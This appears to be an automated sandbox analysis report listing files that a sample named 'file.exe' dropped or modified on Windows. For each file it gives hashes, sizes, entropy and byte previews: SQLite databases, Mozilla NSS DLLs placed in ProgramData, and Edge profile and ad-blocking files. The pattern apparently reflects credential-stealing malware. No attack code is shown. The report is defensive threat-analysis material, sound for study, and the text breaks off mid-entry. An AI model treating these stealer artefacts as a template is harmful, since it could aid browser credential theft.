SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEBFHJKJEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e8cb2646d2.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e1e5c1b-95e1-43b6-aa64-52c60400322a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.094596317719851
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWsXi1zNt5FebNhQHsCKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yniESKtSmd6qE7lFoC
MD5:	7232F7686DDFCE6161B71EB4E2F6F08B
SHA1:	7625626D5351B92EF52E352D528F693E646E483E
SHA-256:	8F9A6768E31548D53D8DEA7B3DD04C42B91499411AA17869E941529E63D92528
SHA-512:	8CBC3008B7C65A8C8F79B3AE1AB4069667AE4722C87C3F13C8BE3E612CC9C400C2D2B6D672B095B6B34F0BDC12225629549CDAA11FD43E76A22C53E4EBD760CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\89ced0f8-7630-4b7b-8f32-7b35fd5899e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\917221d5-c233-4632-8687-9398d1e7b075.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46518
Entropy (8bit):	6.085252137974262
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQcrQgvK3nWi1zNt5FeO5mycPQEFXM4pP218xCioEJDSgzMMd6qD47m:cMk1rT8HPK7gP218xFoEtSmd6qE7m
MD5:	2D8E3B9A7C41A65E46F3B4A9834A791D
SHA1:	A85C3CF97DB46DCBDC30883FC73861175257A9E0
SHA-256:	DB2EE930C561F678C32B5546163FC6663CA7A7836227C8D06FEFBE96F9BB0A86
SHA-512:	7992904FA037BC7AC1CC126008EAB32CF60237D7BCFCF11CC9C86F7B22C499C08E89DC8DF7036F10EA92BBA50EFAF417BB08BD19E2E5BA82F260B44AAB2D48C8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375888525399543","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"25ace1c2-d0e4-4eed-9fc3-8758dfaeecf9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731414929"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139880887754
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7h:fwUQC5VwBIiElEd2K57P7h
MD5:	7781A0DE57A3606D285D686A487FEB1B
SHA1:	5F702CBBA11E1AF5598DBC7A253A8D382D074ECB
SHA-256:	CF32BBA9E0B08B317F4E9A5DB38CE561C8BB13D337E41DCAB38AC85720F7EF0D
SHA-512:	A185790DAFC4904EA7DD258947811D58F855DBCC6C0D8165C179DF3669B7A7D7EC792EC27FBE671EB9076717C841631928D8BC601EC90F705FE3EB9C876C9C2E
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e35af705-afb7-4bc4-8b13-1f2260bb276c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139880887754
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7h:fwUQC5VwBIiElEd2K57P7h
MD5:	7781A0DE57A3606D285D686A487FEB1B
SHA1:	5F702CBBA11E1AF5598DBC7A253A8D382D074ECB
SHA-256:	CF32BBA9E0B08B317F4E9A5DB38CE561C8BB13D337E41DCAB38AC85720F7EF0D
SHA-512:	A185790DAFC4904EA7DD258947811D58F855DBCC6C0D8165C179DF3669B7A7D7EC792EC27FBE671EB9076717C841631928D8BC601EC90F705FE3EB9C876C9C2E
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4652e374-14f1-4e94-b7b7-9488e6b54766.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17375), with no line terminators
Category:	dropped
Size (bytes):	17375
Entropy (8bit):	5.4806717672389
Encrypted:	false
SSDEEP:	192:stGJ99QTryDiuabatSuyphs9taFvrEy7l2kGrayNt/5gKLklqlgU2E38QbV+FwOx:stGPGQSu4hs9tCDL7iHOYtTbGJQwBj
MD5:	ADF34CF5CC049E5767A234F7F5A511CB
SHA1:	1B47B6E23852766990E600DB3352481D0823668F
SHA-256:	26961F36B40BD33FF50BB85E76605AAD1CBBA2AA7F6A9179B70E5BF4F510E526
SHA-512:	20994250E562A0B5F9639D55D62DA1EA451D953A3D3F95A2F2D25B394C9EF999C1B467DCB91C5628FC46CFD82A6632530BF251B94B5CBE2C80B979A61814002E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4ef87a58-9770-4e69-bc72-dc130d3be755.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17584), with no line terminators
Category:	dropped
Size (bytes):	17584
Entropy (8bit):	5.475722053223869
Encrypted:	false
SSDEEP:	192:stGJ99QTryDiuabatSuyphsbtaFvrEy7l2kGrayNt/5gKLklqlgU2E38QbV+FwOD:stGPGQSu4hsbtCDL7iHOYtTbGJQw0o3j
MD5:	CDC57A88032E49F1AFE318070BA2DC6B
SHA1:	DFF9A096D7F4293907E7E303FF495495461C1EDF
SHA-256:	240693954913FE2D878B7D33AE6ABCE793A81707DF02684CD27C6AB7469181B8
SHA-512:	AC54278B70C6D35BD4D91818782BCBC3BA35F61FECF3197B20F43DE31CB47E8C22128DA4C571182CEA794C4E18BFB7E080DD34ADD1CA88F98E33C7E38A62D15E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4f70485c-7dcc-4d97-a8f7-59760f8c1ceb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
